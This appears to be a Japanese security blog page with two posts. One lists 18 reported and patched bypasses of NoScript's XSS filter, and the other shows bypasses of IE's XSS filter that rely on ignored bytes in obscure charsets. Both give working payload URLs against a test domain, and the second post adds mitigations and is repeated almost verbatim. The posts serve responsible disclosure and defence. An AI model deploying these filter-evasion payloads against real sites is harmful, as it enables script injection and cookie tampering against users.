FirefoxのアドオンであるNoScriptに備わっているXSS防止機能の、これまでに僕が報告した、対策された迂回方法を公開します。
1. v2.3.2rc2で修正
http://vulnerabledoma.in/char_test?charset=iso-2022-jp&body=%3Cifr%1B%28Jame%20o%1B%28Jnload=aler%1B%28Jt%281%29%3E
ISO-2022-JPでエンコードされたページまたは自動選択でISO-2022-JPが選択されたページで、NoScriptが反応する文字列中にISO-2022-JPで無視されるバイト列を挟むことで検出を回避できました。
2. v2.3.2rc3で修正
http://l0.cm/noscript/
単純にイベントハンドラの検出のバグです。URL中に()が入ると弾かれるので、location.href=window.nameでURL中に()を含めないようにし、さらにwindow.name中に()が入っていても検出されるので、window.name中の()をパーセントエンコードすることで回避できました。
3. v2.3.2rc4で修正
http://vulnerabledoma.in/char_test?body=%3Ch1%20/onmouseover=%22eval%28%27alert%28location%27%2B%27%29%27%29%3B%22%3Exxx
単に「/」がついたイベントハンドラの検出のバグです。
4. v2.3.2rc5で修正
http://vulnerabledoma.in/char_test?charset=hz-gb-2312&body=%3Ch1%20o~%0Anmouseover=%22ale~%0Art%281%29%22%3Exxxxx
ISO-2022-JPの方法と同じように、エンコーディング「HZ-GB-2312」で無視される文字列を使い検出を回避しました。
追記--------------------------
あ!これ今見たら動かないですね!Firefox12のこのときに無視されないようになったみたいです。
------------------------------
5. v2.3.5rc1で修正
http://l0.cm/noscript2/
javascriptスキームのリンク中の「name」文字列の検出のバグです。クリックするとnameの中身が文字列でかえってくるので、nameにスクリプトタグを書いた文字列を設定しています。
(※ここからリンクを作成することで回避する方法を
いくつか紹介しますが、なぜ危険なスキームをチェックして検出しないのかと思うかもしれません。NoScriptは、誤検出を減らすためか、任意のスク
リプトを実行できてしまいそうな危険なものは検出されますが、javascriptスキームやdataスキームのリンクが全く作れないほどは制限されていないようです。)
6. v2.3.5rc2で修正
http://l0.cm/noscript3/
「\u006Eame」と表記することで「name」という文字列の検出を回避できていました。
さらにwindow.nameの中身のチェックが厳しくなったので、window.nameを設定するタイミングをずらして回避しました。
7. v2.3.6rc2で修正
http://l0.cm/noscript4/
「feed:」を先頭につけた攻撃URLをフレームに埋め込むと、検出を回避できていました。
8. v2.4.1rc1で修正
http://l0.cm/noscript5/
<script>タグ内に動的生成された文字列中でも、「\u006Eame」とすることでnameの検出を回避できていました。
(※NoScriptは<script>タグ内に動的生成された文字列から生じるXSSでも、ある程度検出できるようにしているようです。ここからいくつかそのタイプのバイパスが出てきます。)
9. v2.4.5rc1で修正
http://vulnerabledoma.in/xss_js?q=%22-alert%A51%A4-%22
http://vulnerabledoma.in/char_test?body=%3Ca%20href=javascript:alert%A51%A4%3Eaaa
ソーシャルエンジニアリングによりARMSCII-8というエンコーディングに変更させることで、0xA5が「(」、0xA4が「)」となり、
0x28/0x29を使わずにカッコを埋め込むことができ、検出を回避してJavaScriptを実行させることができていました。ARMSCII-8はもはや使われていないエンコーディングのため、ARMSCII-8へのエンコーディングの切替えができないようにNoScript側で変更されました。ちなみに、過去にUTF-7でも同じ措置をとったという話をききました。
(※このARMSCII-8のような、別のバイトにASCIIの範囲の文字が現れる文字エンコーディングがいくつかあります。この調査を以前したので、いずれ結果を載せたいと思います。)
10. v2.4.5rc1で修正
http://l0.cm/noscript6/
/a/.source というような表記と、window.nameを組み合わせることで、回避できていました。
11. v2.4.5rc2で修正
http://l0.cm/noscript7/
E4Xとlocation.hashとwindow.nameを組み合わせることで、回避できていました。
12. v2.4.5rc3で修正
http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href=location.hash[1]%2Blocation.hash[2]%2Blocation.hash[3]%2Blocation.hash[4]%2Blocation.hash[5]%2Blocation.hash[6]%2Blocation.hash[7]%2Blocation.hash[8]%2Blocation.hash[9]%2Blocation.hash[10]%2Blocation.hash[11]%2Blocation.hash[12]%2Blocation.hash[13]%2Blocation.hash[14]%2Blocation.hash[15]%2Blocation.hash[16]%2Blocation.hash[17]%2B281%2Blocation.hash[17]%2B29//#javascript:alert%
1文字ずつアクセスすることで、検出を回避できていました。
13. v2.4.5rc4で修正
http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:text/html%3Bbase64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVrYjIxaGFXNHBQQzl6WTNKcGNIUSsiPkNsaWNr%22%3EClick
dataスキームのリンクにbase64で2重にエンコードした文字列を使用することで、検出を回避できていました。
14. v2.4.5rc5で修正
http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:x%3Bb%20ase64,P%20HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%22%3EClick
dataスキーム中のbase64文字列の間にあるスペース(0x20)を無視するFirefoxの挙動を利用して、検出を回避できていました。
15. v2.4.5rc6で修正
http://vulnerabledoma.in/xss_js?q=%22%3Bfor%20each%28location%20in%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//
http://vulnerabledoma.in/xss_js?q=%22%3Bfor%28location%20of%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//
for each-in/for-of文を使うことでlocationへの代入を行い、任意のJavaScript実行の検出を回避できていました。
16. v2.4.5rc7で修正
http://vulnerabledoma.in/xss_js?q=%22%3Bfunction::[%27location%27]=%27javascript%27%2B%27:alert%281%29%27//
function:: のような、Firefox特有の記法で回避できていました。
(v2.4.6で修正)
http://vulnerabledoma.in/xss_js?q=%22%3Bwith%28document%29{cookie=123}//
withを使用することで、任意のCookieのセットができていました。
17. v2.4.6で修正
http://vulnerabledoma.in/xss_js?q=%22%3Bx=%27javascript%27%2B%27:alert%281%29%27%3B//%E2%80%A8location=x//
U+2028/2029が改行と考慮されていなかったため、自ら書いた「//」のコメントアウトからそれらの文字列で抜けることで、検出を回避できていました。
18. v2.4.6で修正
http://vulnerabledoma.in/xss_js?q=%22%3Bcrypto.generateCRMFRequest%28%27CN=0%27,0,0,null,%27alert%281%27%2B%27%29%27,384,null,%27rsa-dual-use%27%29//
crypto.generateCRMFRequest()をeval()の代用とすることで、任意のJavaScript実行の検出を回避できていました。
以上です!
各ブラウザのAnti-XSS機能よりもNoScriptが特に優れている点は、問題が発見された時の対応の早さだと思います。NoScriptの開発者であるGiorgio氏は、どれもその日のうちにrc版をリリースしてくれるほど、熱心に対応してくれました。
皆さんも突破に挑戦して、報告してみてはいかがでしょうか!
参考文献:
7. http://view.officeapps.live.com/op/view.aspx?src=http%3A%2F%2Futf-8.jp%2Fpublic%2F20120421%2Fmomiji.pptx hack#1
15. http://d.hatena.ne.jp/st4rdust/20110329/1301386042
16. http://sla.ckers.org/forum/read.php?24,28641,35101#msg-35101
18. http://www.slideshare.net/x00mario/the-future-of-web-attacks-confidence-2010/35
2012/07/08
2012/03/10
ブラウザのXSS保護機能をバイパスする(2)
第2弾です。第1弾はこちら。今回はアプローチがちょっと違います。
無視されるバイトの利用
タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。
2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。
IEのXSSフィルターをバイパスする
IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E
(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)
これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )
この要領で様々なパターンが作れます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
....
まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
対策
もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。
もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8
あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。
http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
いずれXSSフィルター自体が改良されることを期待したいですね。
ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。
http://noscript.net/changelog#2.3.2
NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。
全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。
無視されるバイトの利用
タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。
2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。
IEのXSSフィルターをバイパスする
IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E
(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)
これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )
この要領で様々なパターンが作れます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
....
まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
対策
もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。
もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8
あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。
http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
いずれXSSフィルター自体が改良されることを期待したいですね。
ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。
http://noscript.net/changelog#2.3.2
NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。
全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。
登録:
投稿 (Atom)